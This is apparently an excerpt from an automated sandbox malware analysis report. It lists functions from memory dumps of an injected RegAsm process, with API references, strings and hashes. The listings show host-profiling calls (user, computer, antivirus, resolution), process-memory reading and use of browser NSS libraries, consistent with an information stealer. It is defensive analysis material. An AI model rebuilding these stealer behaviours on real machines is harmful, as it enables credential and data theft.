Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 834187326-2211150622
Opcode ID: d3ab2409594bd746038f666c063a4042a3e3f6ffbbc6970485e0b6f7108b7cf3
Instruction ID: 29a813e2d2bf3327bf54fd56b45236dac27320891bfe6471c6b9f0a0d130281a
Opcode Fuzzy Hash: d3ab2409594bd746038f666c063a4042a3e3f6ffbbc6970485e0b6f7108b7cf3
Instruction Fuzzy Hash: CB21A171611248AFCB11EF1CD440AA97BB0EF4534AB04806AE845CB327E738E987CB4C

Function 6C29ACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C29ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C29AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C29AD23

Part of subcall function 6C37D930: PL_strncpyz.NSS3(?,?,?), ref: 6C37D963

PR_LogPrint.NSS3(?,00000000), ref: 6C29AD39

Strings

C_MessageDecryptFinal, xrefs: 6C29ACE1
(CK_INVALID_HANDLE), xrefs: 6C29AD1C
n7l, xrefs: 6C29AD51, 6C29AD7B
hSession = 0x%x, xrefs: 6C29ACFE, 6C29AD0E

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$n7l
API String ID: 332880674-4208468875
Opcode ID: 5e034b0138b69f642d42d0c6d98bf16c1319b2b749d874a9695b35b1a8bc0208
Instruction ID: 3f2b3b039e2a7959e1ed40af029dfa67cc18f0dafde400b29a943394da01c628
Opcode Fuzzy Hash: 5e034b0138b69f642d42d0c6d98bf16c1319b2b749d874a9695b35b1a8bc0208
Instruction Fuzzy Hash: 73212F75A01258DFDB109B55DD48FAE3379AB4230EF054025EC099B661DB39A948CFE2

Function 004212AB Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 004212B5
DName::DName.LIBCMT ref: 004212C1

Part of subcall function 0041EF8C: DName::doPchar.LIBCMT ref: 0041EFBD

UnDecorator::getScopedName.LIBCMT ref: 00421300
DName::operator+=.LIBCMT ref: 0042130A
DName::operator+=.LIBCMT ref: 00421319
DName::operator+=.LIBCMT ref: 00421325
DName::operator+=.LIBCMT ref: 00421332

Strings

void, xrefs: 00421311

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID: void
API String ID: 1480779885-3531332078
Opcode ID: 4593ccc2295a5eef351ee994040e2c1cea314195fe000b448df242ee6b74f299
Instruction ID: b20d69b9f71073cb98b83c49312996bb3c94f5a704e98fc4dd4a4e4cf82e1e76
Opcode Fuzzy Hash: 4593ccc2295a5eef351ee994040e2c1cea314195fe000b448df242ee6b74f299
Instruction Fuzzy Hash: A8110A31600208AFD714EB65D855BED7BB0EF20305F44009AE406976E2DB789E85C749

Function 00411563 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00411575
GetDeviceCaps.GDI32(00000000,00000008), ref: 00411580
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0041158B
ReleaseDC.USER32(00000000,00000000), ref: 00411596
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00414061,?,Display Resolution: ,004368EC,00000000,User Name: ,004368DC,00000000,Computer Name: ,004368C8,AV: ,004368BC), ref: 004115A2
HeapAlloc.KERNEL32(00000000,?,?,00414061,?,Display Resolution: ,004368EC,00000000,User Name: ,004368DC,00000000,Computer Name: ,004368C8,AV: ,004368BC,Install Date: ), ref: 004115A9
wsprintfA.USER32 ref: 004115BB

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Strings

%dx%d, xrefs: 004115B5

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CapsDeviceHeap$AllocCreateProcessReleaselstrcpywsprintf
String ID: %dx%d
API String ID: 3940144428-2206825331
Opcode ID: 7e3ca2e5e1d68b33f818dd8cb4a3d7bdd34cf0689526acc4e8cf55884910fa72
Instruction ID: 6214b610274db4f02d0c2d51c42afcdd70af250500a3b2e8379190f8560bbba1
Opcode Fuzzy Hash: 7e3ca2e5e1d68b33f818dd8cb4a3d7bdd34cf0689526acc4e8cf55884910fa72
Instruction Fuzzy Hash: 25F0C832601320BBEB249BA59C0DD9B7EAEEF467A7F005055F605D2160E6B75E4087A0

Function 6C2ACC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C2ACD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C2ACE16
PR_SetError.NSS3(00000000,00000000), ref: 6C2AD079

Part of subcall function 6C30C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C30C2BF

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 294126760ecf20fbb0c7a990561715f6bc499b04aafa9e787a00fd7a62dad77e
Instruction ID: 092b69c2d56b298a9c4e4df7b2690e155aef9d165f3e2f304fb7fcdf6df8ba4b
Opcode Fuzzy Hash: 294126760ecf20fbb0c7a990561715f6bc499b04aafa9e787a00fd7a62dad77e
Instruction Fuzzy Hash: 17C18DB5A0021D9BDB20CF65CC80BDAB7B4BF48318F1441A9ED48A7741E775AE96CF90

Function 6C262C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(FA99EB48), ref: 6C262C5D

Part of subcall function 6C2C0D30: calloc.MOZGLUE ref: 6C2C0D50
Part of subcall function 6C2C0D30: TlsGetValue.KERNEL32 ref: 6C2C0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C262C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C262CE0

Part of subcall function 6C262E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C262CDA,?,00000000), ref: 6C262E1E
Part of subcall function 6C262E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C262E33
Part of subcall function 6C262E00: TlsGetValue.KERNEL32 ref: 6C262E4E
Part of subcall function 6C262E00: EnterCriticalSection.KERNEL32(?), ref: 6C262E5E
Part of subcall function 6C262E00: PL_HashTableLookup.NSS3(?), ref: 6C262E71
Part of subcall function 6C262E00: PL_HashTableRemove.NSS3(?), ref: 6C262E84
Part of subcall function 6C262E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C262E96
Part of subcall function 6C262E00: PR_Unlock.NSS3 ref: 6C262EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C262D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C262D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C262D3F
free.MOZGLUE(00000000), ref: 6C262D73
CERT_DestroyCertificate.NSS3(?), ref: 6C262DB8
free.MOZGLUE ref: 6C262DC8

Part of subcall function 6C263E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C263EC2
Part of subcall function 6C263E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C263ED6
Part of subcall function 6C263E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C263EEE
Part of subcall function 6C263E60: PR_CallOnce.NSS3(6C3C2AA4,6C2C12D0), ref: 6C263F02
Part of subcall function 6C263E60: PL_FreeArenaPool.NSS3 ref: 6C263F14
Part of subcall function 6C263E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C263F27

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 4be96dff694c60473d8b9bb02bea5bc097be9bce1ab65df4047605dc1b48b706
Instruction ID: 4a7cd392e2e758c303250600cb283926bffbc017f89fa47c289e334b7ba362fa
Opcode Fuzzy Hash: 4be96dff694c60473d8b9bb02bea5bc097be9bce1ab65df4047605dc1b48b706
Instruction Fuzzy Hash: 2051F2B9A0431A9BDB10DF2ADC84B5B77E9EF84349F140428FC5593A50E731E894CBA2

Function 6C17CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C1431A7), ref: 6C17CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C17CFA4, 6C17CFB8
<jemalloc>, xrefs: 6C17CF9F, 6C17CFB3

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: b5258454d7a82fa8f6206689915a0d6c25239b9e53ecd0d862ceae12f0774450
Instruction ID: 65816bc5ac42c8a7c51d830ef77c39c2b43cf586046988c746c0096b72669522
Opcode Fuzzy Hash: b5258454d7a82fa8f6206689915a0d6c25239b9e53ecd0d862ceae12f0774450
Instruction Fuzzy Hash: 573183307452155BEB20AEA58C65BAE7F79AF51B58F304059F610EBB80DB74D6008BB1

Function 6C1A14A0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C1A14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C1A14E2
GetCurrentThreadId.KERNEL32 ref: 6C1A1546
InitializeConditionVariable.KERNEL32(?), ref: 6C1A15BA
free.MOZGLUE(?), ref: 6C1A16B4

Strings

g/, xrefs: 6C1A14B2

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID: g/
API String ID: 1909280232-2179982415
Opcode ID: daa255c0f4b27570b7609e8c8ff2d2fa72497f8ab4afe1cac5872310593eaa49
Instruction ID: 14caa83647f039f0ec0e41a360f26abf16480395750b302a33794334d73b5e4f
Opcode Fuzzy Hash: daa255c0f4b27570b7609e8c8ff2d2fa72497f8ab4afe1cac5872310593eaa49
Instruction Fuzzy Hash: B161E076A00710DBDB118F64C880BEEBBB5BF8A308F14851CED8A57711DB34E95ACB91

Function 0040F915 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000000,?,00000000,00000000,?,?,?,?,?,0040FBE3,?,00000000,00000000,?,?), ref: 0040F934
VirtualQueryEx.KERNEL32(?,00000000,?,0000001C,?,?,?,?,?,?,?,?,0040FBE3,?,00000000,00000000), ref: 0040F95E
ReadProcessMemory.KERNEL32(?,00000000,?,00064000,00000000,?,?,?,?,?,?,?,?), ref: 0040F9AB
ReadProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0040FA04
VirtualQueryEx.KERNEL32(?,?,?,0000001C), ref: 0040FA5C
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0040FBE3,?,00000000,00000000,?,?), ref: 0040FA6D

Strings

@, xrefs: 0040F977

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: MemoryProcessQueryReadVirtual
String ID: @
API String ID: 3835927879-2766056989
Opcode ID: a9495d4f72b3d1438dfa2c68789035a7ae4ab924da08034bdec0029a689f928b
Instruction ID: 782d1e78530d26aac93c20cf39dad9713f636d1ba6f6d7f846141922d26d4ee5
Opcode Fuzzy Hash: a9495d4f72b3d1438dfa2c68789035a7ae4ab924da08034bdec0029a689f928b
Instruction Fuzzy Hash: B8419D32A00209BBDF209FA5DC49FDF7B76EF44760F14803AFA04A6690D7788A55DB94

Function 6C278CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C28124D,00000001), ref: 6C278D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C28124D,00000001), ref: 6C278D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C28124D,00000001), ref: 6C278D73
PR_Unlock.NSS3(?,?,?,?,?,6C28124D,00000001), ref: 6C278D8C

Part of subcall function 6C30DD70: TlsGetValue.KERNEL32 ref: 6C30DD8C
Part of subcall function 6C30DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C30DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C28124D,00000001), ref: 6C278DBA

Strings

KRAM, xrefs: 6C278D3E
KRAM, xrefs: 6C278CF9

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: a69904760571d2abdffc6442f98dc6c4859910812763f3c6553131a2e081d13c
Instruction ID: 8d1087a736b9720c44a0dc3ef111d1937b006475d8b919f60fe5a5744626cae8
Opcode Fuzzy Hash: a69904760571d2abdffc6442f98dc6c4859910812763f3c6553131a2e081d13c
Instruction Fuzzy Hash: 3521A1B9A046098FCB10EF38C58455EBBF4FF55318F15896ADC8897701EB34E841CBA2

Function 6C189420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C17AB89: EnterCriticalSection.KERNEL32(6C1CE370,?,?,?,6C1434DE,6C1CF6CC,?,?,?,?,?,?,?,6C143284), ref: 6C17AB94
Part of subcall function 6C17AB89: LeaveCriticalSection.KERNEL32(6C1CE370,?,6C1434DE,6C1CF6CC,?,?,?,?,?,?,?,6C143284,?,?,6C1656F6), ref: 6C17ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C154A68), ref: 6C18945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C189470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C189482
__Init_thread_footer.LIBCMT ref: 6C18949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C18947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C189459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C18946B

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 56a6379fdc2743127806a7ec40fcda128f1335800a1685984485bd6308e1a456
Instruction ID: ec98b6ba11230f4206b829128f58b07e3571344850866c0756dc5be02b298c92
Opcode Fuzzy Hash: 56a6379fdc2743127806a7ec40fcda128f1335800a1685984485bd6308e1a456
Instruction Fuzzy Hash: CD012478B041008BD7009B6CD935A8537B4AB1632CF140537FC1A86B51E62DEA649D5B

Function 6C334D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C334DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C334DE0

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C334DCB
API call with %s database connection pointer, xrefs: 6C334DBD
invalid, xrefs: 6C334DB8
%s at line %d of [%.10s], xrefs: 6C334DDA
misuse, xrefs: 6C334DD5

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: b9b6fe7c2ee7b2280514ac527e3e7498eb39434255f6096dbe7472766275a908
Instruction ID: 59bdc113b0db700c3dd0264f9bd0ed35c08c63e5dae96d9f220481f05d23aada
Opcode Fuzzy Hash: b9b6fe7c2ee7b2280514ac527e3e7498eb39434255f6096dbe7472766275a908
Instruction Fuzzy Hash: E4F0B411E186B82BD7025259DC11F863B955F02319F4619A0EE0C6BE53E20BD9608F91

Function 6C334DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C334E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C334E4D

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C334E38
API call with %s database connection pointer, xrefs: 6C334E2A
invalid, xrefs: 6C334E25
%s at line %d of [%.10s], xrefs: 6C334E47
misuse, xrefs: 6C334E42

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: a367fd03cf6c08a2ecef17c09afb3b52874e83e1b6d5360c1e16d112500d158d
Instruction ID: d42b300b0676f3ab39ced1e87788faad42dbf9b238ae209d5b52c592bf7835e8
Opcode Fuzzy Hash: a367fd03cf6c08a2ecef17c09afb3b52874e83e1b6d5360c1e16d112500d158d
Instruction Fuzzy Hash: 24F02711F489B82BE6106265DC10F867BC98B02329F0995B1EF0C77ED2E60F99704ED1

